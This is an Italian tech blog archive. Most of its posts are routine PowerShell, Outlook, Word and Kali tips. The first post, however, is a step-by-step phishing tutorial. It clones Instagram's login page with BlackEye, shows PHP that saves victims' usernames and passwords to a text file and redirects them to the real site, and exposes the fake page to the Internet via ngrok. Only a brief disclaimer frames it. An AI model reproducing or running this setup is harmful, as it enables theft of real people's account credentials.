lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








venerdì 28 gennaio 2022

PowerShell: Identificare il gruppo locale Administrators

I membri del gruppo amministratori locali hanno privilegi elevati e accesso completo e senza limitazioni al computer. Il gruppo "Administrators" è presente di default in Windows, tuttavia il suo nome può variare in base alla regione. Ad es. sui sistemi francesi il gruppo si chiama "Administrateurs".

Per accedere al gruppo, indipendentemente dalla regione e dalla relativa denominazione, è opportuno usare il suo SID che è sempre S-1-5-32-544. Ad esempio, per visualizzare il nome e la descrizione del gruppo Administrators è possibile utilizzare il cmdlet Powershell Get-LocalGroup con il parametro -SID
Get-LocalGroup -SID S-1-5-32-544
Get-LocalGroup, Visualizza informazioni gruppo Administrators
FIG 1 - Get-LocalGroup, Visualizza informazioni gruppo Administrators


In maniera analoga, per visualizzare i membri che appartengono al gruppo, possiamo eseguire il comando
Get-LocalGroupMember -SID S-1-5-32-544






giovedì 27 gennaio 2022

PowerShell: Visualizzare l'ultimo utente connesso

Il nome dell'ultimo utente connesso al sistema viene memorizzato all'interno del valore LastLoggedOnUser presente nella chiave di registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI

Per visualizzare l'ultimo utente connesso al sistema utilizzando PowerShell possiamo utilizzare il cmdlet Get-ItemProperty:
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" | Select-Object -Property LastLo*, Idle*

LogonUI, ultimo utente connesso
FIG 1 - LogonUI, ultimo utente connesso

Allo stesso modo, per visualizzare tutti i profili utente memorizzati nel registro di Windows:
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\profilelist\*' | Select-Object -Property ProfileImagePath, FullProfile






mercoledì 26 gennaio 2022

Kali Linux: Installare PowerShell

Per installare PowerShell in Kali Linux eseguire, dalla finestra Terminale, i seguenti comandi
sudo apt update
sudo apt -y install powershell
Kali Linux, installare PowerShell
FIG 1 - Kali Linux, installare PowerShell

Al termine dell'installazione del pacchetto basterà eseguire pwsh per avviare PowerShell e trovarsi dinanzi al familiare prompt "PS".


Disinstallazione

Per disinstallare PowerShell basta eseguire dalla finestra Terminale il comando
sudo apt-get remove powershell
Per rimuovere PowerShell e le sue dipendenze il comando da eseguire è
sudo apt-get -y autoremove powershell





martedì 25 gennaio 2022

PowerShell: Identificare l'account amministratore locale

Nei sistemi Windows sono presenti alcuni account predefiniti come l'account locale "Administrator" che dispone di privilegi elevati. Il nome dell'account relativo all'amministratore locale può variare da regione a regione pertanto, per identificarlo indipendentemente dal suo nome, è opportuno ricercarlo tramite l'identificatore di sicurezza (SID). Il SID dell'account amministratore locale inizia sempre con 'S-1-5-' e usa il RID '-500'. Per ricercalo tramite PowerShell è possibile utilizzare il seguente comando
Get-LocalUser | Where-Object Sid -like 'S-1-5-*-500'
Get-LocalUser
FIG 1 - Get-LocalUser







lunedì 24 gennaio 2022

PowerShell: Rinominare l'account locale Administrator

Per ragioni di sicurezza, potremmo considerare di rinominare l'account Administrator locale incorporato in Windows che, avendo un nome noto e privilegi elevati, può essere oggetto di attenzione da parte di malintenzionati.
Prima di procedere con la rinomina dell'account bisogna chiarire alcuni punti:
  • Una volta rinominato l'account questo continuerà a funzionare ma per utilizzarlo sarà necessario specificare il nuovo nome. 
  • Assicurarsi che non ci siano processi automatici che utilizzino il vecchio nome account, in tal caso sarà necessario aggiornarli con il nuovo nome.
  • Rinominare l'account non cambierà il suo SID. Trattandosi di un SID noto, l'account potrà essere comunque preso di mira da attacchi mirati.
Per modificare il nome dell'account Administrator tramite PowerShell basta eseguire il seguente comando da una finestra PowerShell eseguita come amministratore
Rename-LocalUser -Name "Administrator" -NewName "GLubrano"
sostituendo la stringa passata al parametro -NewName con il nuovo nome che si intende assegnare all'account.

Per verificare se il nome dell'account di amministratore locale è stato modificato, eseguire il comando
Get-Localuser | Where-Object Sid -like 'S-1-5-*-500'

Rename-LocalUser
FIG 1 - Rename-LocalUser



sabato 22 gennaio 2022

Kali Linux: Installare Visual Studio Code

Visual Studio Code è un editor di codice sorgente gratuito sviluppato da Microsoft per i sistemi Windows, Linux e macOS. Combina la semplicità di un editor di codice sorgente con potenti strumenti di sviluppo, come il completamento del codice IntelliSense e il debug. Si tratta di uno strumento molto apprezzato tra gli sviluppatori e in questo breve articolo vedremo come installarlo in ambiente Kali Linux. Per l'installazione utilizzeremo il repository ufficiale APT prima, però, aggiorniamo il repository e installiamo il package indicato di seguito
sudo apt update
sudo apt install curl gpg software-properties-common apt-transport-https
Aggiornamento repository e installazione package
FIG 1 - Aggiornamento repository e installazione package


Importiamo la chiave Microsoft GPG in Linux con il comando
curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -

Il prossimo passo consiste nell'aggiungere il repository APT per Visual Studio Code a Kali Linux
echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
Aggiungere repository per Visual Studio Code
FIG 2 - Aggiungere repository per Visual Studio Code

Infine avviare l'installazione con i comandi
sudo apt update
sudo apt install code
Installazione Visual Studio Code
FIG 3 - Installazione Visual Studio Code

L'installazione non richiede molto tempo ma dipende dalla velocità di connessione ad Internet. Terminata l'installazione eseguire Visual Studio Code con il comando
code
Visual Studio Code per Kali Linux
FIG 4 - Visual Studio Code per Kali Linux








venerdì 21 gennaio 2022

PowerShell: Disabilitare l'account locale Guest

Windows viene fornito con un account locale integrato chiamato "Guest". Dal momento che questo account è usato raramente e può essere utilizzato come vettore di attacco è di default disabilitato nelle recenti distribuzioni di Windows.
 
Poiché il nome dell'account è localizzato e può variare leggermente da regione a regione, per identificare l'account e visualizzarne lo stato è consigliabile usare il suo SID:
Get-LocalUser | Where-Object Sid -like 'S-1-5-*-501' 

Get-Localuser
FIG 1 - Get-LocalUser


Per disattivare l'account utilizzare il cmdlet Disable-LocalUser
Get-LocalUser | Where-Object Sid -like 'S-1-5-*-501' | Disable-LocalUser





giovedì 20 gennaio 2022

PowerShell: Identificare le versioni di .NET Framework installate nel sistema

Il .NET Framework è uno strato software ideato per facilitare lo sviluppo e l'esecuzione dei programmi in ambiente Windows. Il framework è costituito dall'ambiente di esecuzione Common Language Runtime (CLR), che fornisce la gestione della memoria e altri servizi di sistema, e dalla Framework Class Library (FCL) un'ampia libreria di classi utilizzabili dai programmatori e contenenti codice per lo sviluppo di applicazioni. Nel corso degli anni il .NET Framework ha conosciuto numerose revisioni e aggiornamenti. Conoscere le versioni di .NET Framework installate sul PC può essere fondamentale soprattutto in quei casi in cui si utilizza un determinato software .NET che funziona solo con una specifica versione del framework.

Per conoscere tutte le versioni di .NET Framework installate sul sistema basta eseguire il seguente comando PowerShell
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where{ $_.PSChildName -Match'^(?!S)\p{L}'} | Select PSChildName, version

Versioni .NET Framework installate
FIG 1 - Versioni .NET Framework installate






mercoledì 19 gennaio 2022

MS Outlook: Macro per stampare un elenco di cartelle di un file di dati

In alcune circostanze può essere utile ottenere l'elenco delle sottocartelle presenti all'interno di un file di dati di Outlook. Di seguito viene mostrata una macro VBA adatta allo scopo. La macro ottiene un elenco dei nomi delle sottocartelle presenti in un file di dati a partire dalla cartella selezionata. L'elenco viene inserito in un nuovo messaggio pronto per essere inviato.

 ' strFoldersList è una stringa multiriga contenente i nomi delle cartelle   
  Public strFoldersList As String   
  ' lCountFolders andrà a contenere il numero di cartelle elaborate   
  Public lCountFolders As Long   
     
     
  Public Sub GetFolderNames()   
   Dim olApp As Outlook.Application   
   Dim olSession As Outlook.NameSpace   
   Dim olStartFolder As Outlook.MAPIFolder   
      
   lCountFolders = 0   
      
   Set olApp = New Outlook.Application   
   Set olSession = olApp.GetNamespace("MAPI")     
     
   'Consente all'utente di selezionare la cartella da cui iniziare la ricerca   
   Set olStartFolder = olSession.PickFolder   
      
   'Verifica se l'utente ha selezionato una cartella da cui partire   
   If Not (olStartFolder Is Nothing) Then   
    ' Se è stata selezionata una cartella, avvia il processo di ricerca.   
    ProcessFolder olStartFolder   
      
    strFoldersList = strFoldersList & vbCrLf & "Totale cartelle elaborate:" & vbTab & lCountFolders   
    ' Crea un nuovo messaggio email contenente l'elenco delle cartelle   
    Set ListFolders = Application.CreateItem(olMailItem)   
    ListFolders.Body = strFoldersList   
    ListFolders.Display     
   End If   
  ' Resetta il contenuto della stringa per una nuova ricerca   
  strFoldersList = ""   
  End Sub   
     
     
  Sub ProcessFolder(CurrentFolder As Outlook.MAPIFolder)   
       
   Dim i As Long   
   Dim olNewFolder As Outlook.MAPIFolder   
   Dim olTempFolder As Outlook.MAPIFolder   
   Dim olTempFolderPath As String   
   Dim lItemsInFolder As Long   
      
   lItemsInFolder = 0   
   ' Esegue un loop sulle cartelle.   
   For i = 1 To CurrentFolder.Folders.Count   
       
    Set olTempFolder = CurrentFolder.Folders(i)   
       
    olTempFolderPath = olTempFolder.FolderPath   
     
   ' Verifica il numero di elementi contenuti nella cartella   
    lItemsInFolder = olTempFolder.Items.Count   
       
       
    ' Crea una stringa multiriga con i nomi delle cartelle.    
    ' olTempFolder contiente il nome della cartella   
    strFoldersList = strFoldersList & vbCrLf & olTempFolderPath & vbTab & "(Items:" & lItemsInFolder & ")"   
       
    lCountFolders = lCountFolders + 1   
       
   Next   
   ' Esegue la ricerca anche nelle sottocartelle della cartella corrente   
   For Each olNewFolder In CurrentFolder.Folders   
     ProcessFolder olNewFolder   
   Next   
      
      
  End Sub   

La macro è molto semplice e i commenti consentono di capire come funziona.  La procedura principale è GetFolderNames() che consente all'utente di selezionare la cartella su cui operare. Successivamente viene richiamata la procedura ProcessFolder che, partendo dalla cartella selezionata dall'utente, elabora tutte le sottocartelle.


Come utilizzare la macro

  • Per utilizzare la macro avviare la finestra Microsoft Visual Basic, Application Edition premendo, dalla finestra principale di Outlook, la combinazione di tasti ALT+F11.
  • Cliccare, con il tasto destro del mouse, su Progetto1 quindi cliccare su Inserisci e selezionare Modulo.
    VBA, Inserisci modulo
    FIG 1 - VBA, Inserisci modulo

  • Copiare il codice sopra riportato e incollarlo nella nuova finestra. Per salvare il codice cliccare sull'icona del dischetto o premere la combinazione di tasti CTRL+S
    VBA, Modulo (codice)
    FIG 2 - VBA, Modulo (codice)

  • Per eseguire la macro cliccare sul tasto play (o premere F5), selezionare la cartella desiderata e premere OK
    Seleziona cartella
    FIG 3 - Seleziona cartella

  • Verrà creato un nuovo messaggio contenente l'elenco delle cartelle. Per ciascuna cartella verrà visualizzato il numero di elementi contenuti e, alla fine dell'elenco, verrà riportato il numero di cartelle elaborato.
    Messaggio contenente l'elenco cartelle
    FIG 4 - Messaggio contenente l'elenco cartelle



Visualizzare la dimensione di ciascuna cartella

Per visualizzare la dimensione di ciascuna cartella basta apportare una semplice modifica al codice della procedura ProcessFolder come mostrato di seguito. Apportando tale modifica bisogna considerare che il tempo di elaborazione della macro può aumentare notevolmente con l'aumentare delle cartelle e item da elaborare.
 Sub ProcessFolder(CurrentFolder As Outlook.MAPIFolder)   
       
   Dim i As Long   
   Dim olNewFolder As Outlook.MAPIFolder   
   Dim olTempFolder As Outlook.MAPIFolder   
   Dim olTempFolderPath As String   
   Dim lItemsInFolder As Long   
    Dim intSize As Long   
   Dim objItems As Items   
   Dim objItem As Object      
      
   lItemsInFolder = 0   
   ' Esegue un loop sulle cartelle.   
   For i = 1 To CurrentFolder.Folders.Count   
       
    Set olTempFolder = CurrentFolder.Folders(i)   
       
    olTempFolderPath = olTempFolder.FolderPath   
     
   ' Verifica il numero di elementi contenuti nella cartella   
    lItemsInFolder = olTempFolder.Items.Count   
     
       Set objItems = olTempFolder.Items   
       
       intSize = 0   
   ' Somma la dimensione di ogni item presente nella cartella   
   For Each objItem In objItems   
    ' Debug.Print olcount, objItem.Subject, objItem.Size   
     intSize = intSize + objItem.Size   
    Next   
       
       
    ' Crea una stringa multiriga con i nomi delle cartelle.    
    ' olTempFolder contiente il nome della cartella   
    strFoldersList = strFoldersList & vbCrLf & olTempFolderPath & vbTab & "(Items:" & lItemsInFolder & ") (Dimensione:" & Int(intSize / 1024) & " KB)"   
       
    lCountFolders = lCountFolders + 1   
       
   Next   
   ' Esegue la ricerca anche nelle sottocartelle della cartella corrente   
   For Each olNewFolder In CurrentFolder.Folders   
     ProcessFolder olNewFolder   
   Next   
      
      
  End Sub   


Esportare l'elenco in un file CSV

Se al posto di creare un nuovo messaggio di posta si intende salvare l'elenco delle cartelle all'interno di un file CSV modificare la procedura GetFolderNames() come indicato di seguito.
 Public Sub GetFolderNames()   
   Dim olApp As Outlook.Application   
   Dim olSession As Outlook.NameSpace   
   Dim olStartFolder As Outlook.MAPIFolder   
      
   lCountFolders = 0   
      
   Set olApp = New Outlook.Application   
   Set olSession = olApp.GetNamespace("MAPI")   
      
   'Consente all'utente di selezionare la cartella da cui iniziare la ricerca   
   Set olStartFolder = olSession.PickFolder   
      
   'Verifica se l'utente ha selezionato una cartella da cui partire   
   If Not (olStartFolder Is Nothing) Then   
   ' Se è stata selezionata una cartella, avvia il processo di ricerca.   
   ProcessFolder olStartFolder   
      
   ' Crea un file CSV nel percorso specificato   
  strPath = Environ("USERPROFILE") & "\Documents\ElencoCartelleOutlook.csv"   
   Set fso = CreateObject("Scripting.FileSystemObject")   
   Set Fileout = fso.CreateTextFile(strPath, True, False)   
   Fileout.WriteLine strFoldersList   
   End If   
  ' Resetta il contenuto della stringa per una nuova ricerca   
  strFoldersList = ""   
  End Sub   




martedì 18 gennaio 2022

PowerShell: Catturare uno screenshot

Tramite PowerShell è possibile catturare lo schermo e salvare lo screenshot all'interno di un file utilizzando i tipi presenti in System.Windows.Forms. Il seguente script mostra come catturare lo schermo virtuale e salvarlo all'interno di un file bitmap per poi aprirlo con il programma associato.
  #specifica il path in cui salvare lo screenshot   
  $Path = "$Env:temp\screenshot.bmp"   
     
  Add-Type -AssemblyName System.Windows.Forms   
     
  #Prepara l'area da catturare   
  $screen = [System.Windows.Forms.SystemInformation]::VirtualScreen   
  $width = $screen.Width   
  $height = $screen.Height   
  $left = $screen.Left   
  $top = $screen.Top   
  #Crea un immagine bitmap   
  $bitmap = [System.Drawing.Bitmap]::new($width, $height)   
  #Crea un nuovo oggetto Graphics dall'oggetto $bitmap   
  $MyDrawing = [System.Drawing.Graphics]::FromImage($bitmap)   
  #Copia il contenuto dello schermo nell'oggetto $bitmap   
  $MyDrawing.CopyFromScreen($left, $top, 0, 0, $bitmap.Size)   
     
  #Salva lo screenshot nel percorso specificato   
  $bitmap.Save($Path)   
  #visualizza l'immagine bmp salvata utilizzando il programma associato   
  Start-Process -FilePath $Path   


Screenshot
FIG 1 - Screenshot

Dal seguente link è possibile scaricare il codice dello script:





lunedì 17 gennaio 2022

Windows Quick Tip: Creare più cartelle dal Prompt dei comandi

Il Prompt dei comandi viene considerato erroneamente obsoleto ma in realtà rappresenta, ancora oggi, un'ottimo strumento per velocizzare operazioni che con la GUI richiederebbero più tempo; una di queste operazioni è la creazione contemporanea di molte cartelle. Tramite l'interfaccia grafica di Esplora file, le cartelle andrebbero create manualmente una alla volta mentre, agendo tramite il Prompt dei comandi, l'obiettivo può essere raggiunto in una frazione del tempo.
Per creare più cartelle dal Prompt dei comandi:
  • Aprire il Prompt dei comandi (WIN+R e digitare CMD seguito da invio) e posizionarsi nella cartella radice in cui creare le cartelle utilizzando il comando CD. Ad esempio, per posizionarsi all'interno della cartella Documenti digitare il comando
    cd %userprofile%\Documents
  • A questo punto basta far seguire al comando MD i nomi delle cartelle da creare (nel caso nei nomi siano presenti spazi è necessario delimitarli con i doppi apici). Ad esempio, volendo creare una cartella per ogni mese dell'anno il comando è 
    md Gennaio Febbraio Marzo Aprile Maggio Giugno Luglio Agosto Settembre Ottobre Novembre Dicembre 
    Per fare in modo che la sequenza venga visualizzata nell'ordine corretto è possibile creare le cartelle aggiungendo un numero prima del nome della cartella come nella seguente sintassi 
    md "01 - Gennaio" "02 - Febbraio" "03 - Marzo" "04 - Aprile" "05 - Maggio" "06 - Giugno" "07 - Luglio" "08 - Agosto" "09 - Settembre" "10 - Ottobre" "11 - Novembre" "12 - Dicembre"

    Creazione cartelle dal prompt dei comandi
    FIG 1 - Creazione cartelle dal prompt dei comandi







domenica 16 gennaio 2022

PowerShell: Statistiche sulla pandemia di Covid-19

Per rimanere aggiornati sulle statistiche della pandemia di Covid-19 utilizzando PowerShell è possibile utilizzare questo semplice webservice

(Invoke-RestMethod -Uri "https://coronavirus-19-api.herokuapp.com/countries") -match "Italy"

PowerShell, Statistiche Covid-19
FIG 1 - PowerShell, Statistiche Covid-19

Ovviamente per visualizzare le statistiche di altri paesi basta sostituire Italy con il paese di proprio interesse.




venerdì 14 gennaio 2022

PowerShell: Rilevare un riavvio in sospeso

Per poter eseguire o completare l'installazione di alcuni tipi di aggiornamenti, Windows potrebbe richiedere il riavvio del sistema. In tale condizione potremmo non riuscire ad installare altri programmi senza prima aver eseguito il riavvio consentendo a Windows di completare le operazioni in sospeso.
Riavvio in sospeso
FIG 1 - Riavvio in sospeso

É possibile rilevare la presenza di un riavvio in sospeso andando ad interrogare la chiave di registro di sistema RebootPending. L'operazione può essere eseguita da PowerShell con il seguente comando:
Test-Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending"

Se il comando restituisce True allora è stato rilevato un riavvio in sospeso in caso contrario il comando restituirà False.
RebootPending
FIG 2 - RebootPending







giovedì 13 gennaio 2022

MS Word: Inserire un menu a tendina in un documento

MS Word consente di aggiungere, all'interno di un documento, un pratico menu a tendina da cui gli utenti potranno selezionare uno dei valori preimpostati. 

Per aggiungere il menu a tendina in un documento basta eseguire i seguenti passaggi:
  • La prima operazione da eseguire consiste, se non presente, nell'attivazione del menu Sviluppo all'interno della barra multifunzione. Da menu File di Word selezionare Opzioni quindi, sul lato sinistro della finestra, cliccare su Personalizzazione barra multifunzione. Spuntare la casella Sviluppo presente nella colonna di destra. Dopo aver confermato la scelta cliccando su OK, la nuova scheda Sviluppo sarà visibile nella barra degli strumenti.
    Personalizzazione barra multifunzione
    FIG 1 - Personalizzazione barra multifunzione

  • Posizionare il cursore nel punto in cui, all'interno del documento, si desidera inserire il menu a tendina. Dalla scheda Sviluppo cliccare sull’icona Controllo contenuto casella di riepilogo a discesa.
    Scheda Sviluppo
    FIG 2 - Scheda Sviluppo

  • Selezionare l'oggetto appena inserito nel documento quindi cliccare sul pulsante Proprietà.
    Proprietà
    FIG 3 - Proprietà

  • Nella finestra delle proprietà è possibile impostare il Titolo, un Tag, impostare colori e stili personalizzati e impedire l'eliminazione e/o modifica del menu da parte di altri utenti. Inoltre, tramite il pulsante Aggiungi, è possibile aggiungere elementi al menu, eliminarli con il pulsante Rimuovi e spostarli ordinandoli a proprio piacimento utilizzando i pulsanti Sposta su e Sposta giù.
    Proprietà controllo contenuto
    FIG 4 - Proprietà controllo contenuto


    Menu a tendina
    FIG 5 - Menu a tendina






mercoledì 12 gennaio 2022

MS Outlook: Switch da riga di comando per Outlook 365, 2021, 2019, 2016, 2013 e precedenti

Outlook viene fornito con numerosi switch e parametri utilizzabili da riga di comando che possono rivelarsi utili nella risoluzione di problemi o per l'automazione. Questo articolo contiene una panoramica di tutti gli switch da riga di comando disponibili per ogni versione di Outlook e come possono essere utilizzati.
Il modo più semplice per utilizzare uno switch da riga di comando è attraverso la finestra di dialogo Esegui:
  • Avviare la finestra Esegui premendo la combinazione di tasti WIN+R
  • Digitare, nell'apposita casella, outlook.exe seguito da uno spazio il simbolo slash (/) e lo switch che si intende utilizzare. Ad esempio, Outlook.exe /cleanips
Esegui
FIG 1 - Esegui


Panoramica dei comandi a riga di comando

I comandi mostrati in tabella sono stati presi da vari file di help locali e online e da vari articoli delle KB. In tabella viene indicato il comando, la sua descrizione e a quali versioni di Outlook si applica.

SwitchDescrizioneVersione Outlook
/a path:\<filename>Crea un elemento con il file specificato come allegato. Esempio:
Outlook.exe /a "C:\Dati da Inviare\Documento.doc"
Se non viene specificato alcun tipo di elemento, si assume IPM.Note. Non può essere usato con classi di messaggi che non sono basate su Outlook.
2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/altvba <otmfilename>Apre il programma VBA specificato in otmfilename, piuttosto che %appdata%\Microsoft\Outlook\VbaProject.OTM.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/autorun nomemacroApre Outlook ed esegue immediatamente la macro specificata da nomemacro.
(non più supportato dopo Outlook 2003 SP2)
2003
/c <classemessaggio>Crea un nuovo elemento della classe di messaggio specificata (moduli di Outlook o qualsiasi altro modulo MAPI valido):
/c ipm.activity crea una voce del diario
/c ipm.appointment crea un appuntamento
/c ipm.contact crea un contatto
/c ipm.note crea un messaggio e-mail
/c ipm.stickynote crea una nota
/c ipm.task crea un'attività
2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/checkclientRichiede il gestore predefinito di e-mail, news e contatti.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanautocompletecacheRimuove tutti i nomi e gli indirizzi e-mail dalla lista del completamento automatico.2010, 2013, 2016, 2019, 2021, 365
/cleancategoriesCancella i nomi delle categorie personalizzate create dall'utente. Ripristina le categorie ai nomi predefiniti.2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanclientrulesAvvia Outlook e cancella le regole basate sul client.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanconvongoingactionsCancella la Conversations Actions Table (CAT). Le voci del CAT per un thread di conversazione di solito scadono 30 giorni dopo l'assenza di attività. Lo switch a riga di comando cancella tutte le regole di tagging, ignora e spostamento delle conversazioni fermando immediatamente qualsiasi azione aggiuntiva.2010, 2013, 2016, 2019, 2021, 365
/cleandmrecordsCancella i record di log salvati quando un manager o un delegato rifiuta una riunione.2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanfindersRimuove le cartelle di ricerca dall'archivio del server Microsoft Exchange.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanfreebusyCancella e rigenera le informazioni di libero/occupato. Questo switch può essere utilizzato solo quando Outlook è in grado di connetterti al server Microsoft Exchange.2000, 2002/XP, 2003, 2007, 2010
/cleanfromaddressRimuove tutte le voci Da aggiunte manualmente dal profilo.2010, 2013, 2016, 2019, 2021, 365
/cleanipsRipristina la ricezione di nuovi messaggi in modalità Exchange Cached (KB968773).2007, 2010, 2013, 2016, 2019, 2021, 365
/cleanmailtipcacheRimuove tutti i MailTip dalla cache.2010, 2013, 2016, 2019, 2021, 365
/cleanprofileRimuove le chiavi di profilo non valide e ricrea le chiavi di registro predefinite, ove applicabile.2003, 2007
/cleanpstAvvia Outlook con un file di cartelle personali (.pst) pulito.2003
/cleanremindersCancella e rigenera i promemoria.2000, 2002/XP, 2003, 2007, 2010, 2013, 2016, 2019, 2021, 365
